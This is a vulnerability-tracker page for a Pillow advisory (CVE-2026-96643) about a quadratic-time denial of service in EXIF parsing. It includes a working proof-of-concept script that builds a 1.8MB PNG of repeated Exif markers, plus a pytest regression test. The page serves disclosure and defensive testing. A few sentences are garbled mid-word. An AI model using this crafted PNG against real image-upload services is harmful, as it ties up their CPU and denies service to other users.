Live › vulnerability › CVE-2026-96643
Go to dashboardPillow's PNG reader accepts an eXIf chunk of any size and strips repeated Exif markers with a quadratic-time loop, so one crafted PNG of about 1.8MB takes several seconds of CPU to parse. An attacker who can get a PNG processed by Pillow can tie up CPU per request, a denial-of-service effect with no data exposure.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-23 19:11 UTC, 3h before NVD. All times on this page are UTC.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| Pillow | pypi | >= 11.0.0, < 13.0.0 | 13.0.0 |
pip show pillow and check whether the version is below 13.0.013.0.0 or later (pip install -U pillow>=13.0.0)Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow's EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay.
Exif.load() in src/PIL/Image.py strips a marker from the start of the EXIF data like this:
while data and data.startswith(b"Exif\x00\x00"):
data = data[6:]
Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem.
chunk_eXIf() in src/PIL/PngImagePlugin.py puts the raw PNG eXIf chunk straight into info["exif"] with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with MAX_TEXT_CHUNK and MAX_TEXT_MEMORY. The eXIf chunk has no such cap.
If the eXIf chunk is filled with repeated Exif\x00\x00 markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug.
This builds a small PNG in memory and times Image.open().getexif() on it. No external file needed.
import time
from io import BytesIO
from PIL import Image, PngImagePlugin
def chunk(cid, *data):
fp = BytesIO()
PngImagePlugin.putchunk(fp, cid, *data)
return fp.getvalue()
MAGIC = PngImagePlugin._MAGIC
IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
IDAT = chunk(b"IDAT")
IEND = chunk(b"IEND")
marker = b"Exif\x00\x00"
exif_chunk = chunk(b"eXIf", marker * 300_000) # 1.8MB, all markers
data = MAGIC + IHDR + exif_chunk + IDAT + IEND
start = time.time()
with Image.open(BytesIO(data)) as im:
im.getexif()
print("took", time.time() - start, "seconds")
Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size.
Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear.
A pytest version of this test, using pytest-timeout so a test run does not hang if the bug is present, is it fails with Failed: Timeout (>2.0s) from pytest-timeout.
import pytest
from io import BytesIO
from PIL import Image, PngImagePlugin
def chunk(cid, *data):
fp = BytesIO()
PngImagePlugin.putchunk(fp, cid, *data)
return fp.getvalue()
MAGIC = PngImagePlugin._MAGIC
IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
IDAT = chunk(b"IDAT")
IEND = chunk(b"IEND")
@pytest.mark.timeout(2)
def test_exif_load_is_not_quadratic():
marker = b"Exif\x00\x00"
exif_chunk = chunk(b"eXIf", marker * 300_000)
data = MAGIC + IHDR + exif_chunk + IDAT + IEND
with Image.open(BytesIO(data)) as im:
im.getexif()
Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(). exif_transpose() is the function Pillow's own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.This page as .md · .json · in your agent: get_signal("CVE-2026-96643")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.